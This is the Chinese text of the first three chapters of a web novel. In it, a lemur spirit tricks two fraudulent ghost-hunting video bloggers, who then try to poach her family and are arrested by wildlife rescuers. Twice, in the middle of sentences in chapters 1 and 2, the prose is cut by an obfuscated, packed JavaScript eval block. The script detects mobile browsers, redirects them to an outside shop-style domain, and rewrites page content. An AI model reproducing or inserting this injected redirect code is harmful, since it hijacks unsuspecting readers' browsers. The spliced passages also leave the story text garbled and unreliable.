《毛茸茸超自然赶山日记》 1. 第1章 “据说日山有妖怪,每到深夜,便有诡异嗥叫。” “山下镇民被嗥叫惊扰,苦不堪言,却恐惧不敢前往探查,有好事者自告奋勇,前去一探究竟,发现四具骸骨藏于林下!” “好事者担心破坏现场,并未带走骸骨,即刻下山领小镇法医上山,检查骸骨究竟是人骨,还是动物骨,待到达原地,骸骨竟不知所踪。” “好事者纳闷至极,心想难道找错地方?回头对法医说话,却对上一具站立骸骨,周围哪有法医的身影?好事者吓得屁滚尿流,惊惶逃往山下,说再不来这鬼地方!” “大家好,我是职业打假博主‘眼镜’,最近网上老传关于日山的谣言乱语,我眼镜不信这些,因此今日我便到达日山附近。” “一小时前,我在山脚喝茶,视频开场‘林下骸骨’一事,乃茶老板说的真实故事,是一个月前发生的一起灵异事件。” “茶老板还对我讲述第二个真实故事,最近几日发生,比第一个更离奇匪夷所思,要知第二个故事是什么?麻烦大家点个关注,关注‘眼镜探险’,帮你扫清一切封建迷信、谣言乱语!” 眼镜手握支架,对着手机镜头讲话,话语铿锵激昂,誓要把所有妖魔鬼怪通通勘破,他翻转镜头,画面处一片苦槠林。 “大家看到了吗?我目前位于日山山腰,接下来,我会沿山脊到山顶,再往另一边下山。路上,我会路过第二个故事发生地点,让我一探究竟,看是人搞的鬼?还是所谓的妖搞的鬼!” 眼镜一路上絮絮叨叨,大损妖魔鬼怪,喷天喷地,顺带科普山南水北向阳之地,要相信科学,车轱辘话来回讲,嘴巴一刻不停歇。 “不知大家有没有发现,山脚植被更为茂密,而山腰植被相对矮小,是因为……”,骤然,镜头猛烈摇晃,眼镜瞪着前方,嘴里话语一转,“我操!那是什么?” 晃动的画面中央,苦槠树上立着一黑色影子,山风从树梢灌下,黑影随风跃到另一棵树,身形极轻,除了风带动叶子微微卷动,再无半点响动,黑影像没重量似的! 什么东西,可以没重量? “我操!不会遇到真的吧?” 眼镜破口大骂,依然不信邪,放大镜头,天色已晚,黑影全身罩于黑暗中,根本看不清,恍惚间,黑影从身体中部断成两截,右边那截居然向镜头挥手。 “我倒要看看,究竟是什么在作怪!”眼镜狠下心,一不做二不休,直接跑到黑影所在的树下,“你是个什么东西,敢在我面前……” 只见黑影于枝头倒挂,不!不是倒挂,它悬于空中,两截身体左右摇摆。 有什么东西滴到他脸上,眼镜抬手一抹,满手鲜血,终按捺不住,大叫一声,更尖锐的嗥叫扎破天际,黑影怪叫着朝眼镜袭来。 “啊——” 眼镜惨叫一声,镜头摇晃凌乱,脚步稀碎。最后镜头一黑。 “okk,好!演技有进步了!” 眼镜关掉录像,随手掏出帕子,擦脸上血,血擦干净了,冷汗却越来越多,他看向身后说话的胖子,张嘴想说话。 胖子从躲藏处出来,率先张口泼冷水:“你只有一点点进步,哪像我们的新成员,演技比你好了不知多少倍!” 随即朝树上黑影招手,语气较方才温柔:“小月,下来吧。” 黑影抬手,抓住树干,跃荡辗转,敏捷落地。 “嚯!厉害厉害,”胖子鼓掌,“不愧是专业舞蹈家!你那个下腰,我都看呆了,差点以为你真断成两截……” 姜绕月笑嘻嘻的:“哪有哪有。是你们的剧本厉害。” “剧本再厉害,演的人不行,视频也不会爆,”胖子指指眼镜,“他演技烂死了,一个视频通常要拍三遍以上,不像你,一遍就过。后面接广告,广告费分你两成。” 眼镜听到前面,只抿了抿嘴,听到后面,他开口:“她两成,我呢?” “你?”胖子皱眉,“看在我俩长期合作的份上,你还是两成。哥对你不薄吧,把自己的八份掏出两份给你。” 姜绕月转了转眼睛,计上心头:“我听你的意思,在我来之前,你们二八分账?你八,他二?不太公平吧?” 眼镜看向她,眼里闪过感动,胖子“啧”了声:“我干的活多,既要剪视频,又要想剧本,还要谈合作,到探险地点后,还得看地图带路,哪像你们,光演演戏就完了。我个二百斤的胖子,做到这份上,难道不该得八吗。” 眼镜垂头小声嘟哝:“你说的活,我也能干。”胖子眼刀杀过去,眼镜气势顿时削弱,整个垂头丧气。 姜绕月本想挑拨离间,让两人闹起来,闹个脸红脖子粗,最好就此分道扬镳,再不来日山瞎搞,岂知眼镜是个没骨头的,不敢反抗。 胖子见眼镜失落,心内到底担心眼镜多想,上去拍了拍肩,转换话题:“你今日确实有进步,恐惧感真的被你演出来了。” 眼镜嘴巴嗫嚅,抬眼看向姜绕月,胖子离他近,离姜绕月远,他下定决心,压低声音,说:“不是我演技好,是她太逼真,她……” 不太对劲,四个字还没出,只见姜绕月朝他眨巴眨巴眼,像视频里一样,朝他挥手,视频里模模糊糊,现在他却看得一清二楚,那手毛茸茸的,黑色指甲尖尖的。 “妖怪!”眼镜凄叫道,他双腿倒腾,蹬出满地碎土,张皇要跑,胖子一把拎住眼镜衣领,将人抓回来:“你又犯病?!” “哪来的妖怪?”胖子回头去看,只看到仍笑嘻嘻的姜绕月,遂抬手佯装揍眼镜,“再像以前那样惊呼乱叫,看我揍不揍你!” 眼镜抱住脑袋,眼睛眯起,胖子骂一句“怂货”,扔掉眼镜后衣领,笑着对姜绕月说:“就这烂样!我们有次去鬼屋探险,他个鳖孙,居然吓尿了哈哈哈哈,现在还说什么妖怪,脑子真是没救了。” 姜绕月瞟一眼瑟瑟发抖的眼镜,问胖子:“你不相信世上有妖怪?” “妖怪?哈哈哈哈,”胖子似听到什么无稽之谈,摆了摆手,“哪怕现在、我面前,就站着妖怪,我也不信!你信吗?” 真妖怪姜绕月也跟着胖子笑,学他模样摆手:“我也不信。” “我……我信,”眼镜这时抬眼,视线小心翼翼略过姜绕月,落在胖子脸上,“哥,我们回去吧。我怕。这次跟以前不一样,真的有古怪。” 胖子闻言,直接往眼镜脸上啐一口:“哪里有古怪,你说说看。” 眼镜看向姜绕月,姜绕月接触到眼镜目光,遂粲然一笑,眼镜浑身一抖。 眼镜狼狈抹掉脸上唾沫,不敢看姜绕月,低头小声道:“林下骸骨,应该是真的。” 胖子不屑:“假的!我们能造假,别人也能造假。” 姜绕月心道,是真的,林下骸骨是她放的,不过骸骨非人骨,是她好不容易学会叶子化形术,即用叶子幻化成的,骸骨也能变人形,跟人一样说话行动,只需要她较多妖力支持。 眼镜不死心:“法医失踪肯定是真的,好端端的,怎么会凭空消失?” 胖子更不屑:“更假了。没人在场,那人不是怎么说都行?你的手机没拍到我,我不也一直跟在你后面吗?还不是一张嘴胡言乱语的事!” 姜绕月心道,这也是真的,她趁着“好事者”不注意,用妖术弄晕法医,在法医倒地前,尾巴卷住法医吊在树上。事后再送回山下。 若好事者抬头,他会看到,一只狐猴站在树梢,尾巴卷着法医,按理来说,正常狐猴怎可能有那样长的尾巴,又怎可能有那样大的力气,能吊起一个成年人,但姜绕月不是正常狐猴,她是狐猴妖,族里唯一修成人形的狐猴妖。 眼镜继续说:“那,好事者转身看到的骸骨呢。” 胖子不耐烦:“一眼假,你脑子被猴子吃了?这么明显的造假手段,你看不出来?一百多个造假视频白拍了!” 姜绕月心道,是真的,还是她干的,好事者下山后,她把骸骨埋进土里,彼时,好事者转身前几秒,她控制骸骨冲破地面,站在好事者跟前,好事者吓死了,她则站在树上乐死了。 胖子:“那人说的都是假的,没道理我们作假,别人不作假。” 姜绕月听到这,心里乐开花,其实都是真的,而且都是我干的,现在该轮到你们了,希望你们也像“好事者”一样,能叫我好好玩一玩。 “好了,不说那些了,我们去第二个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486396|202032||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 故事发生地点吧。”姜绕月上前,站在胖子和眼镜中间,笑道。 那里有给你们准备的惊喜。嘻嘻。好玩。真好玩。 不过玩归玩闹归闹,姜绕月不能忘族群给她的任务。 前几个月化形前,她每到夜间便嗥叫,招来好多人进山探查,她要保护自己的族群,不受人类打扰伤害,她要把这群“好事者”都赶下山。 作为族里唯一一个化成人形的狐猴妖,她理应承担保护族群的责任。更何况,是她的嗥叫引来一切。 胖子点头,走在前面,几秒后回头瞪视眼镜:“快点跟上!这次视频不破百万浏览量,看我怎么收拾你。” 眼镜头垂得更低,终究还是跟在胖子身后,缓缓走着。 姜绕月跟胖子并肩走,眼镜录视频那会,她和胖子都不能说话,这会倒能闲聊,她憋了一路,开始和胖子讲东讲西,山南水北什么都聊,胖子话也多,两人聊得热火朝天。 眼镜被撇在背后,默默观察姜绕月,姜绕月感受到视线,心里想着接下来对两人的“捉弄”,真是既刺激又好玩,但也烦不胜烦,因为每隔一段时间,便有一批“好事者”进山。 她计划利用这两人拍视频,传出日山是有来无回的鬼地方,好阻挡一切好奇的探险者。 “哥。” “哥。” 胖子正跟姜绕月聊得开心,聊到下一个探险地点了,眼镜低低的、懦弱的呼唤响起,胖子烦躁转身,看见眼镜唯唯诺诺的样子,更火大。 眼镜咬咬牙,下定决心一般,他说:“哥,你过来,我有事对你说。” 姜绕月挑眉,胆小鬼眼镜终于要说了吗?说看到她的毛毛手,说她是妖怪吗?她好期待呀,期待撕开假面,用妖怪真容吓死这俩人。 眼镜没看姜绕月,将一直拿着的手机递给胖子:“哥,你看看吧。” 他录制视频时,无论是肉眼,还是录像,都看不清姜绕月模样,虽说姜绕月穿了黑色紧身衣,虽说天色已晚,但不至于一点看不清,而且那个下腰、那个悬空吊挂……哪个人类能灵活到这地步?怕是山间猴子才能做到吧。 碍于可怕的姜绕月,眼镜不敢直说,索性给胖子看方才录制的视频,希望胖子聪明点,发现其中不对劲。 谁知,“你手机越来越不行了啊,画质太差!”胖子骂道,眼镜抬眼,看着胖子,心中骂道,真是猪脑。 “不过嘛,模模糊糊的,反而更有惊悚意味。”胖子摸着下巴。 眼镜放弃了,他深吸一口气:“哥,今天我不想拍视频,我要回去。”说完,不管胖子如何反应,转身便走。 胖子盯住眼镜背影:“你再敢走一步,我告诉你,往后的广告费,我一分不会给。”居然敢违逆他,说走就走,哪有那么容易。 眼镜停住脚,一点点转动头颅,对上姜绕月根本不是人类眼睛的狐猴瞳孔,姜绕月又使坏,她的脸化出狐猴面目,咧着嘴朝眼镜笑呢,眼镜牙齿打颤,声音从齿缝一个字一个字溢出:“哥。这次。我真怕。” 胖子臭骂一句,他走过去,站在眼镜跟前,由于胖子身形太宽,完全罩住眼镜,姜绕月看不到两人的互动,两人压低声音讲话,姜绕月也没听清,从她的角度,她只看到,胖子从口袋掏出个什么东西,顶住眼镜的身体。 是什么东西,黑乎乎的? 没过多久,两人结束隐秘交谈,胖子发号施令:“好了,我们赶紧吧,尽快拍完,尽快发视频。” 姜绕月望向眼镜,眼镜依旧垂头,身子些微佝偻,然而没之前那般退缩,胖子说了什么,让一个胆小鬼明知有妖怪,还心甘情愿冒险? “你们……”姜绕月顿了顿,“你们没有敬畏之心吗?你们不怕造假的东西是真的吗?” 胖子不屑地往地上吐了口唾沫,嘴角露出狞笑:“敬畏之心?有钱,人家才会对你有敬畏之心。是吧?”视线落在眼镜身上。 眼镜不说话,没有停下的脚步就是回答。 姜绕月听到后,两个试图靠拍日山造假探险视频谋财的坏人,看她怎么收拾他们。 但是,胖子手里黑乎乎不知名物体,以及胖子无所畏惧的狞笑,姜绕月忽感不安。 2. 第2章 没事的,他俩再厉害再狡诈,终究只是人类,她可是狐猴妖,有修为的狐猴妖。 瞎担心什么呢。姜绕月安慰自己。 胖子眼睛挤成两条缝,像算盘珠子似的,观察姜绕月:“你为什么说‘敬畏之心’?” “怎么?你对妖魔鬼怪有敬畏之心?你不认可我们的挣钱观念?”胖子油润的嘴噼里啪啦炸出一堆话,“如果这样,我们不是一路人,你现在下山吧,我们后期再合作。” 姜绕月和胖子上下打量的眯眯眼对视,脑子转得很快,笑着说:“敬畏之心?我敬畏的是钱啊。你们不也一样吗?放心,我的信仰是人民币,你们的信仰是人民币,咱们三个正好凑一桌麻将,缺的那张牌叫‘良心’,本来就没有。” “赶紧吧,再磨蹭天彻底黑了,天彻底黑了我怕……”怕自己再也忍不住,要揍死这两个为了钱无所不用其极的烂人。 “我怕你们拍不出效果。”说完她往前走。 胖子愣了愣,收起打量的目光,大笑起来:“说得好,我果真没看错你。” “赶紧跟上,”胖子语调一转,对眼镜不客气道,“再敢叽叽歪歪磨磨唧唧,老子下山就把你踹出去,以后换小月拍视频。” 姜绕月本以为两人密谋那会,眼镜把她的真面目说出来,听见胖子的话,好像并没有。 胖子到底说了什么?姜绕月好奇得不行,抓心挠肝的。 “你俩刚背着我说什么?”姜绕月等胖子到自己身边,直接轻声询问,紧接着更压低声音,“你不会为了哄他拍视频,多给他分账吧?” 胖子摇头:“多分账?绝不可能。我只是告诉他,怕啥,老子有武器。任是什么妖魔鬼怪,都不用怕。”说着,还掂量掂量口袋里的东西。 姜绕月彻底放下心,原来是现代人类武器,可能是枪?更不用担心,枪打不中她。胖子也自信过头,凭人类武器能吓退妖魔鬼怪? 几人走了一会,快要到达姜绕月安排好的地方,她清了清嗓子:“虽然你们的剧本很好,但我有个想法……”声音很低,只说给胖子听。 事实上,胖子听完茶老板故事后,便重新修改剧本,将第二个故事编进去,但是,姜绕月另有新想法。 胖子听完,举起大拇指:“牛逼!这个视频肯定会大爆特爆,太吓人了!” “就是委屈他了。”姜绕月侧脸,眼镜慢吞吞跟在后面。 胖子放低音量:“说实话,他演技太烂,偏偏胆子贼小,所以逼真一点也没事,可以拍出他的真实反应。” 姜绕月点头:“好。我行动了。” 胖子:“行。拍完视频,我们下山打麻将,你应该挺爱打……山脚下那位茶老板也爱打。我们四个刚好凑一桌。” 姜绕月心道,叫她茶老板,真是高估她。 山脚下,一个小摊,两张桌子,其中一个还是麻将桌,居然能叫茶老板?要知道茶老板给俩人说完故事,到角落摇身一变,成了线上跟俩人约好合作的专业舞蹈家。 姜绕月像弹簧一样弹起,双手同时前伸,十指精准扣住最低的粗壮枝干,动作干净利落,几秒后,身影融入树林,胖子仰头张望,半点不见姜绕月踪影,心内大赞。 眼镜一见姜绕月消失,赶紧跑到胖子身边:“哥。她去哪了?” 胖子:“甭管她去哪,看到那没?”他指着不远处一个山坡,这地方也是姜绕月发现,指给他看的。 “难道那是茶老板说的第二个故事发生地点?”眼镜说。 胖子:“谁知道是不是,随便找个山坡拍不就行了?好了,开拍吧。赶紧赶紧。” “按照剧本来?”眼镜还想问胖子和姜绕月说了什么,胖子不耐烦打断他:“不按照剧本按照什么来?!你能临场发挥吗?” 眼镜被恶声恶气呛到,好歹咽下不服,打开手机,继续录制。 “方才真是惊险。不过我还是逃出来了,我今日定要搞清日山发生的事,偏不信这世上有妖魔鬼怪!” “好了,大家可以看到,我手指的地方,便是茶老板说的第二个故事发生地点。” “那是一个山坡,也叫‘哀嚎坡’,哀嚎坡,骨埋深泥终作土,风过空谷尚哀嚎,茶老板说,近几日,哀嚎坡上突现四盏黄灯,两位好事者闻讯前往一探究竟,回来时,竟被灯笼驮着下山,有人上前一探鼻息,气息没了。哀嚎坡上点灯——找替身。这是茶老板对我说的最后一句话。” 眼镜说到这,心道,这故事肯定是假的,若好事者死了,当地警察不出动? 树上等着一展身手的姜绕月听到后,心道,自己编得真不错。第二个故事确实是虚构的。但很快,会变成“真实”。 眼镜拿着手机,回头看了眼胖子,胖子那会对他说“一切害怕都源于火力不足”,若真发生什么,胖子有办法。往日对胖子的厌恶,到今日居然变成看到胖子就安心。 他心一横,走到山坡前,按照剧本,山坡后,姜绕月露出背影,勾头哭泣,她的头从手臂间隙出来,像一个无头人抱着自己的头在哭。 这是昨日姜绕月线上传给他们的照片,自荐自己身体柔软,能做常人不能做的动作,胖子看到后,当即拍板要合作。胖子还把这动作编进第二个故事剧本。 早知如此,他昨日便不该把照片拿给胖子看。 他做好心理准备,打算迎接山坡后可怕景象。 谁料山坡后什么都没有。 没有姜绕月。什么都没有。 不,不对。 月亮出来了,惨白月光透过树的缝隙洒进来,照亮哀嚎坡后的一切,一具骸骨,四盏黄灯,风略过此地,发出哀嚎。 黄灯随着风,朝眼镜、胖子飘来,骸骨缓缓站立,咔嚓的骨骼碰撞声在月夜里格外清晰,竟也慢慢向两人走去。 眼镜脑子一片空白,剧本里面没有这个。他们也根本没准备什么灯笼,还有那骸骨…… 胖子也看见了,他四处张望,寻觅姜绕月身影,这跟她对自己说的想法不一样啊!难道她提前准备了骸骨灯笼? 为什么不提前跟他说? 话说回来,他和眼镜到日山山脚下时,明明看到茶老板和另外三人打麻将,怎么茶老板对他俩说完故事后,那三人神不知鬼不觉消失了?彼时心急上山没注意,这会突然想到,顿时浑身冷汗。 “有好事者自告奋勇,前去一探究竟,发现四具骸骨藏于林下!”眼镜的声音尚留在耳边。 山脚下陪茶老板打麻将、之后离奇消失的三人,山上、此时此刻,缓缓向两人走来的另一具骸骨。刚好四个。 是啊,正常人谁会在充满诡异事件的日山山脚下摆摊? 一个正常女孩子怎会跟他们合作,并且约好在他们上山路上碰面?并且还真碰巧在路上汇合,怎么那么巧? 况且,正常人谁会做出那样灵活的动作?再怎么自诩舞蹈家,都不能做到吧,简直不像人,像山间动物。 胖子被食物、金钱占满的脑子终于运行,可惜太迟了。 眼镜盯着胖子后面,哆哆嗦嗦道:“后面。后面。” 在他们身后,另外三具骸骨从隐秘角落现身,渐渐包围眼镜胖子,四盏黄灯飘到两人头顶,黄惨惨的光打在两人脸上,像入了阴曹地府。 骸骨一开心:“又有人上山了。” 骸骨二满意:“这是我的替身。” 骸骨三嫌弃:“你的。你的。我不想要这俩。” 骸骨四挑选:“我要那个眼镜做我的替身。” 哀嚎坡上点灯——找替身。 面对离奇可怕一幕,胖子要掏出口袋里的枪,手却越发发抖,就算开枪,他能伤害到骸骨吗?起初他以为是人搞怪,谁知真的是妖魔鬼怪。 这世上居然真的有妖怪。 你们没有敬畏之心吗? “有!有!有!”胖子吓得跪地,“我有敬畏之心!我再也不敢了!” 姜绕月站在树梢上,利用妖力操控骸骨行动、说话,听到胖子讨饶,看见眼镜吓尿,心中满意至极。 不过还不够。 骸骨三走到两人跟前,上下打量:“这两人太丑了。我不喜欢。” 骸骨一:“我也不喜。不过没关系,反正日山还会来人,到时慢慢挑,让他代 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486397|202032||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 替我们……去死。嘻嘻嘻嘻。” 胖子深觉自己死定,面如死灰。他不敢看骸骨,抬头看到头顶四盏黄灯。第二个故事中,四盏黄灯、两个好事者,原来说的是他们吗…… 眼镜仍下意识捏住手机,方才种种都被记录下来。 他最后抬起手机,面对镜头,今日做出此生最郑重决定:“我这个账号,眼镜探险,拍的全是作假视频。但是,今日视频是真的。世上真的有妖怪……要对一切充满敬畏之心。最后……” “不要来,不要来日山,他们在找替身,永远不要来日山……” 这段视频结束,眼镜直接上传平台,如果可以,希望有人能上山找到他们的尸体带回家。 那三句“不要来”,反而更会招来一批不怕死的、探险的、打假的,或许又是一批他和胖子这种为了钱不择手段的视频博主。 不要来。我偏要来。来了走不掉的,带着好意或坏意,继续说不要来。 然后成为一代代诅咒。 而他们是诅咒的开端。眼镜恶毒地笑了。 姜绕月在树上站着,见进展到眼镜说“不要来”,心内更是满意,不要来日山,不要破坏他们狐猴一族的安稳生活。 她决定暂且放过两人,好好说道说道,教育教育,便把两人放走。 刚想收掉妖力,树下四具骸骨竟然慢慢倒下,灯笼跟着掉落,而姜绕月并没收走妖力,抬眼一看,她白嫩的手变成毛茸茸小手。 她的妖力消失了。 胖子一见骸骨倒地,怔愣片刻,试探性站起来,抬眼上下左右张望,对上姜绕月的眼睛,于是,姜绕月眼睁睁看到胖子极度恐惧的眼里闪过狂喜。 “发财了!”胖子一踢眼镜,“快,去抓环尾狐猴,那可是珍稀动物,拍视频才挣几个钱,卖珍稀动物,那才值钱!” 眼镜从极致绝望中回神,也见到月光下静立树梢的环尾狐猴:“可是。哥,有妖怪啊。” “妖怪?”胖子冷哼一声,随即狠狠踹向骸骨,这一踹,骸骨完全散架,“没有妖怪,是那死女人在捉弄我们!” 眼镜看到散架骸骨,再瞧见树上的环尾狐猴,从小到大的懦弱,在经历濒死绝境后,此刻成了对金钱极致的追求渴望。他必须得有钱,有了钱,就不用再拼着性命危险拍视频。 “追啊!”胖子呼和,“抓住后,我有门路,到时一起去卖,咱俩五五分账!” 眼镜起身,朝姜绕月跑去。 姜绕月身形一闪,当机立断,往山下逃。她得往山下引,山上有她的族群,她不能让它们陷入危险! 胖子呵住欲往山下追的眼镜:“山里肯定有它的族群,不要因小失大!我们往里搜!” 胖子居然不上套,碰到挣钱的事变聪明了。 姜绕月深觉不行,她得跟着两个烂人。 远远的,姜绕月发出族群十五种警戒音,提醒同伴藏好,坏人来了,你们要注意隐藏。 手腕内侧无意间蹭过树枝,留下一丝淡淡的、类似麝香的狐猴气味。然而,空气中狐猴气味更浓烈。 姜绕月心内又急又愧,眼见两人快进入族群聚居地,想到母亲温暖怀抱、父亲关切嘱咐,不要贪玩早点回家。 不行。 她径直落在两人前进路上,张开双臂,阻挡两人去路,试图唤醒妖力,指间凝出一点光,都没眼看。 这么关键时刻,妖力消失了,她的族群即将面临危险,姜绕月心中激荡,全然忘记自己修为不稳,化人形、操控四具骸骨、四盏黄灯,已用尽妖力,需静待休息,妖力才会恢复。 姜绕月一跃上前,尖锐指尖划过胖子的脸,留下五条血痕,胖子气急败坏,呼喘着粗气掏枪,黑乎乎枪口对准姜绕月,姜绕月身形闪跳,往胖子背后而去,再跃到眼镜身上,谁知眼镜身手比胖子灵活,手一抓擒住姜绕月的手,直直往地上砸去。 胖子抬枪,击中姜绕月一只脚:“它现在不能跑了,我看着这只,你去里面搜!击中腿脚,不让畜牲们跑就行!”将枪扔给眼镜。 怎么办。 目视眼镜深入林中背影,姜绕月绝望了。 3. 第3章 不。不行。 姜绕月咬牙,砸断骨头没事,腿断了没事,她的家人不能有事。 胖子过来要抓她,她迸发出最后力气,跳到胖子身上,狠狠咬住,胖子哀叫一声:“我操了,死畜牲,老子弄死你!”肥厚拳头落在姜绕月身上。 姜绕月咬得更狠,是你先打死我,还是我先咬死你! “老子弄死你,皮割掉做衣服穿!”胖子又打又拉,拳头带着十足力气落到姜绕月身上,姜绕月憋着气血,她得立刻解决胖子,再去解决眼镜。父亲母亲,你们不要有事。 树林里窸窸窣窣之声,突然,好几道枪响,林中鸟鸣叫逃往天际,姜绕月跟着哀嚎一声,她从胖子身上跳下,瘸着腿吐着血往林中赶。 踉跄几米,迎面而来一道人影,姜绕月看清脸,是眼镜,眼镜身后却跟着另几人,气势一股子狠厉,不是简单货色,眼镜完全低头,垂头丧气到极致,手缚身后,原来已被人制住。 为首男人握枪,正是胖子的枪,他瞥了胖子一眼,字字数落:“私藏枪械,伤害国家一级保护野生动物,并意图贩卖,数罪并罚。”眉眼都在说“你俩等死吧”。 男人瞅见姜绕月,随手拎起她,再回头对队员说:“你们两个控制住这两偷猎者下山,你们三个再搜查日山是否有其他可疑人员,找找跟他们一起来的女人,有的话,一并带下来。” “是。队长。”五人回复。 胖子还想反抗,来人一个肘击,胖子痛苦跪地,连求饶撒谎的话都说不出。两人被人挟制,往山下去。 姜绕月则被男人拎着手臂下山,她的手臂伤得较轻,但这样拎着走,还是不舒服,尤其脚上中了弹,更痛苦,她稍稍挣扎,男人像没注意到似的,不为所动。 身后队友见状,说道:“队长,要不你抱一下吧,小猴子伤得蛮重,你这样拎它,它肯定难受。” 被称作队长的男人垂眸,打量姜绕月,几秒后吐字:“脏。你抱。” 队友:“……行。” 姜绕月正感动于男人制住两烂人,现在听到男人的话,觉得男人嘴有点毒。 下山坐车,没过多久,到达“不归林”野外救助站,姜绕月算是知道,这群人是野外救助人员,男人是救助队长,不是嘴有点毒,是嘴本来就毒。 “沈归岷,你下山了?”兽医一见男人入内,便道,再瞅见队友怀里的受伤小猴,“哎哟,伤得好深,来我看看。” 沈归岷坐下,室内本来闹哄哄谈笑,这下都各自工作,埋头苦干,沈归岷环视一圈,也没说话,俨然领导视察工作的模样。 兽医给姜绕月治疗,取弹的时候,姜绕月还没呼唤叫疼,兽医倒感觉疼死了,口罩上眉目紧皱,口中喃喃:“别怕别怕,不疼不疼。” 止血缝合后,兽医摸摸姜绕月的头:“你好乖啊,居然没叫。” “沈队长,我能养它吗?”她回头问沈归岷。 沈归岷:“可以。” 兽医一喜。 “可以在牢房里养。” 兽医:“……” 队友见狐猴治疗好后,他试探性问沈归岷:“队长,没事的话,我先走了?” 沈归面无表情:“去哪?” 队友低头:“回去休息……”,却瞅见沈归岷责备目光时,转而道:“是不可能的,我再待一会,看他们有没有找到跟俩人一起上山的女人,或者,我也去找吧。” 说完要往外走,沈归岷开口:“你去守着那两偷猎者,盯住他们,等上级来人。” “好!”队友如释重负,赶紧跑掉。 姜绕月蜷缩着,听见沈归岷的话,在山上时,他也叫人去寻跟两人上山的女人,女人不就是她吗。 原来她和胖子眼镜上山,竟早被野外救助人员发现,而且,他们从族群聚居地出来,也就是说,他们动作更快,更早深入日山,他们肯定发现她的族群,既然是野外救助,想来也不会伤害它们。 兽医守着姜绕月,也没再开口。一时间,室内一片安静,没谁敢开口。 说实话,姜绕月受不了这般安静,族群内部,他们每天交谈玩乐,一时到了这种谁都不说话的地方,姜绕月不习惯。 太安静了,白色灯光打下来,像死人之地。 姜绕月开始哼唧,打破死寂,兽医见状,声音夹起来:“哎哟,疼吗?是不是饿了?”翻箱倒柜找到一根香蕉,剥开皮,掰成小块,放在掌心喂姜绕月。 姜绕月还没吃呢,沈归岷看见兽医动作:“你很闲?报告写好了?” 兽医背对沈归岷,偷摸翻个白眼,将香蕉掰好,搁在姜绕月嘴边:“知道了,现在去写!” 在路过沈归岷后,控诉他:“你这样永远也找不到女朋友!” “噗呲!”埋头苦干的其他人忍俊不禁。 沈归岷冷冷扫过去,那人拉过自己的嘴,示意自己已闭嘴。 室内重新死寂,只剩姜绕月慢慢吃香蕉的声音,沈归岷本来在思考,听见动静,望过去,对上姜绕月边吃香蕉边打量他的目光。 沈归岷面上没什么表情,姜绕月心中生起玩弄之心,吃香蕉的声音故意越来越大,沈归岷忍无可忍,收走兽医给她备好的香蕉,姜绕月不允许,抓住他胳膊不让走。 沈归岷脸上终于出现表情,姜绕月去读,应该是想拉开她,但她不想被沈归岷拉开,想到沈归岷说她脏,她转动眼珠,刚好手里还有一颗香蕉,糊到沈归岷一看就价值不菲的衣服上。 沈归岷脸上表情裂开。 “噗呲!”埋头苦干的人,其实一直偷摸观察沈归岷,见状,再次笑出来。 沈归岷要说话,门外传来杂乱脚步,是三个继续在山里搜查其他可疑人员的队友。 “队长,我们搜遍日山,没有找到其他嫌疑人。” 沈归岷抖抖衣袖,轻轻松开姜绕月:“跟偷猎者一起上山的女人,找到没?” 其中一人看了眼沈归岷脸色,心虚试探:“没、没有。要不,我们再找找?” 另一人忽指着沈归岷,神色惊悚:“找、找到了!” 沈归岷不悦:“究竟找到没有?” 这下,两人都指着沈归岷,大骇:“后面、后面!” 沈归岷回头,对上姜绕月无辜眼神,姜绕月小心翼翼蜷在台上,收起双手双脚:“其实,我是一个魔术师,我能变成狐猴,也能变成人类,你们信吗?” 沈归岷脸上终于出现大表情,“狐猴大变活人”的大惊讶。 “报告写完了!小猴子,香蕉好吃吗?”兽医这时走来,看见姜绕月,挠脑门,“我的小狐猴去哪了?” 沈归岷:“你眼前的女人,就是你的小、狐、猴。” 姜绕月讪笑:“我都说了,我其实是魔术师……”好死不死,为什么现在恢复人形!这下全暴露了。 …… 沈归岷坐下:“说吧,你到底是什么?” “魔术师啊。”姜绕月囿于审讯室内,继续装傻充愣,说自己是妖怪?那还得了! “嗯。茶老板、舞蹈家,现在的魔术师,”沈归岷鼓掌,“你太厉害了。” 姜绕月装听不懂阴阳怪气:“……谢谢。” 沈归岷:“你的……同伙?已经将一切和盘托出,他们说你是妖怪,是你诱惑他们去日山,逮捕环尾狐猴,好献给你,来加强你的妖力。” 姜绕月摇晃手上镣铐:“我真这么厉害,会被你们关起来?” 沈归岷没顺着她的话往下说:“他们最后拍的视频未通过平台审核,所以你找替身、更多人来日山的算盘落空了。” 姜绕月说实话:“我并不想更多人来日山,我找他们,是想利用他们拍恐怖视频,让其他人不要来日山。” 沈归岷嘲讽一笑:“蠢货,这种视频只会叫更多人来。” “我最后问一句,你的目的是什么?” 姜绕月心内腹诽“你全家都是蠢货”,听到问题,想到给她治伤的兽医,沈归岷嘴毒人似乎不咋好,却真实制住两烂人,她决定说实话:“我想保护日山上的环尾狐猴,我不愿人类来破坏它们的生活。” 沈归岷多看她两眼,转身关门离去。 审讯室内死寂一片。 姜绕月瘫在椅上,用妖力痊愈身上枪伤、骨头断裂伤,又隔一会,心想再留在这不知会发生什么,遂心念一动,变成狐猴,穿过窗户栏杆逃出去。 她本想直接回日山,在经过转角时,“山上有几只环尾狐猴”,一句话叫住她。 “已经保护起来,暂时不会有危险。但是……” 